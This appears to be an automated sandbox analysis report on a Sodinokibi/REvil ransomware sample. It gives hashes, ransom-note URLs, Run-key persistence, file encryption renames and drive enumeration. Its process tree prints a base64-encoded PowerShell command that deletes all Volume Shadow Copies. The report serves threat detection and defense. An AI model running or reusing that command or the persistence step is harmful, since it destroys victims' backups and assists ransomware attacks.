Analysis
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max time kernel
146s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
01-07-2022 14:54
Static task
static1
Behavioral task
behavioral1
Sample
sample.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
sample.exe
Resource
win10v2004-20220414-en
General
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Target
sample.exe
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Size
165KB
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MD5
83e92758d97a8daac290affd8172123c
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SHA1
10784ae6ff2685f10aa1f5d16c2981de7be8702a
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SHA256
ba76db6dc7d7045db201d4a8dba17f17dc91d735490976fbd1ef9a0b1dcc38a7
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SHA512
4de3a34df593c4cafeb2046e1b3dba6653f089739871ad0f36ae09387555fd8c6c5c09f4e42cc2db2bffd388fa8e5b0a2eac752af609467c725fb5ad675ce42d
Malware Config
Extracted
C:\s79x24-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/59594190C1E39589
http://decryptor.top/59594190C1E39589
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
sample.exedescription ioc process File renamed C:\Users\Admin\Pictures\RestartWrite.png => \??\c:\users\admin\pictures\RestartWrite.png.s79x24 sample.exe File renamed C:\Users\Admin\Pictures\UninstallConvertTo.tif => \??\c:\users\admin\pictures\UninstallConvertTo.tif.s79x24 sample.exe File opened for modification \??\c:\users\admin\pictures\LimitConfirm.tiff sample.exe File opened for modification \??\c:\users\admin\pictures\SkipMount.tiff sample.exe File renamed C:\Users\Admin\Pictures\AddDeny.png => \??\c:\users\admin\pictures\AddDeny.png.s79x24 sample.exe File renamed C:\Users\Admin\Pictures\LimitConfirm.tiff => \??\c:\users\admin\pictures\LimitConfirm.tiff.s79x24 sample.exe File renamed C:\Users\Admin\Pictures\SkipMount.tiff => \??\c:\users\admin\pictures\SkipMount.tiff.s79x24 sample.exe File renamed C:\Users\Admin\Pictures\RequestRepair.png => \??\c:\users\admin\pictures\RequestRepair.png.s79x24 sample.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
sample.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run sample.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\L2mKLMcNmB = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sample.exe" sample.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
sample.exedescription ioc process File opened (read-only) \??\G: sample.exe File opened (read-only) \??\J: sample.exe File opened (read-only) \??\Q: sample.exe File opened (read-only) \??\U: sample.exe File opened (read-only) \??\W: sample.exe File opened (read-only) \??\Z: sample.exe File opened (read-only) \??\B: sample.exe File opened (read-only) \??\H: sample.exe File opened (read-only) \??\T: sample.exe File opened (read-only) \??\S: sample.exe File opened (read-only) \??\V: sample.exe File opened (read-only) \??\A: sample.exe File opened (read-only) \??\M: sample.exe File opened (read-only) \??\O: sample.exe File opened (read-only) \??\K: sample.exe File opened (read-only) \??\L: sample.exe File opened (read-only) \??\N: sample.exe File opened (read-only) \??\P: sample.exe File opened (read-only) \??\R: sample.exe File opened (read-only) \??\E: sample.exe File opened (read-only) \??\F: sample.exe File opened (read-only) \??\I: sample.exe File opened (read-only) \??\X: sample.exe File opened (read-only) \??\Y: sample.exe File opened (read-only) \??\D: sample.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\y255.bmp" sample.exe -
Drops file in Program Files directory 25 IoCs
Processes:
sample.exedescription ioc process File opened for modification \??\c:\program files\FindUnprotect.mhtml sample.exe File opened for modification \??\c:\program files\GroupPublish.dib sample.exe File opened for modification \??\c:\program files\InitializeMeasure.vsdx sample.exe File opened for modification \??\c:\program files\SubmitAssert.asf sample.exe File opened for modification \??\c:\program files\SyncSkip.mpe sample.exe File opened for modification \??\c:\program files\FindMount.ttc sample.exe File opened for modification \??\c:\program files\SaveCopy.gif sample.exe File opened for modification \??\c:\program files\UnprotectResize.mpv2 sample.exe File opened for modification \??\c:\program files\DisableGrant.au3 sample.exe File opened for modification \??\c:\program files\FindDismount.pptm sample.exe File opened for modification \??\c:\program files\PopOpen.wma sample.exe File created \??\c:\program files (x86)\s79x24-readme.txt sample.exe File opened for modification \??\c:\program files\BlockTrace.txt sample.exe File opened for modification \??\c:\program files\ClearCompress.csv sample.exe File opened for modification \??\c:\program files\CloseFormat.wax sample.exe File opened for modification \??\c:\program files\ConvertToImport.jpg sample.exe File opened for modification \??\c:\program files\ResizeExit.vsd sample.exe File opened for modification \??\c:\program files\SuspendUnblock.mp4 sample.exe File opened for modification \??\c:\program files\SwitchAdd.tiff sample.exe File opened for modification \??\c:\program files\UnlockWrite.search-ms sample.exe File created \??\c:\program files\s79x24-readme.txt sample.exe File opened for modification \??\c:\program files\ConvertUnlock.xlt sample.exe File opened for modification \??\c:\program files\ExportRequest.rle sample.exe File opened for modification \??\c:\program files\InitializeDismount.zip sample.exe File opened for modification \??\c:\program files\InstallRemove.vsdm sample.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
sample.exepowershell.exepid process 4772 sample.exe 4772 sample.exe 4824 powershell.exe 4824 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 4824 powershell.exe Token: SeBackupPrivilege 2840 vssvc.exe Token: SeRestorePrivilege 2840 vssvc.exe Token: SeAuditPrivilege 2840 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
sample.exedescription pid process target process PID 4772 wrote to memory of 4824 4772 sample.exe powershell.exe PID 4772 wrote to memory of 4824 4772 sample.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\sample.exe"C:\Users\Admin\AppData\Local\Temp\sample.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4824
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:4512
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2840